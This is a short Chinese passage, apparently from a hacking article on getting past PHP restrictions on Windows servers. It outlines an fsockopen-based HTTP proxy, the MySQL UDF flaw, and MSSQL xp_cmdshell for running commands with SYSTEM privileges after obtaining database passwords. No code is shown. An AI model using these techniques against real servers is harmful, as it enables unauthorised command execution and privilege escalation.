还可以利用fsockopen编写HTTP代理，从而访问外网或本机中无法外部访问的网站。我手上有一个完整的HTTPProxy（图4），代码较长。有兴趣的读者可以看看。
6、MYSQL/MSSQL接口
不同于linux的是，windows下的mysql/MSSQL一般是以系统管理员身份运行的，因此，只要能拿到本机SQL数据库中的root/sa密码，你就可以直接用PHP连接数据库来执行系统命令。
在Mysql中执行系统命令要利用用户自定义函数“MySQL UDF Dynamic Library”这个漏洞。在MSSQL中只要连接上数据库，就能直接调用“master..xp_cmdshell“扩展执行命令，权限当然是system权限。
总结一下：由于系统、IIS、PHP的版本不一样，以上提到的几个突破方法可能会有所变化，PHP还有许多扩展功能是可以利用的，走出system（）那几个系统命令执行函数，你就有可能突破系统安全策略的限制！
后面附上proxy.php的代码
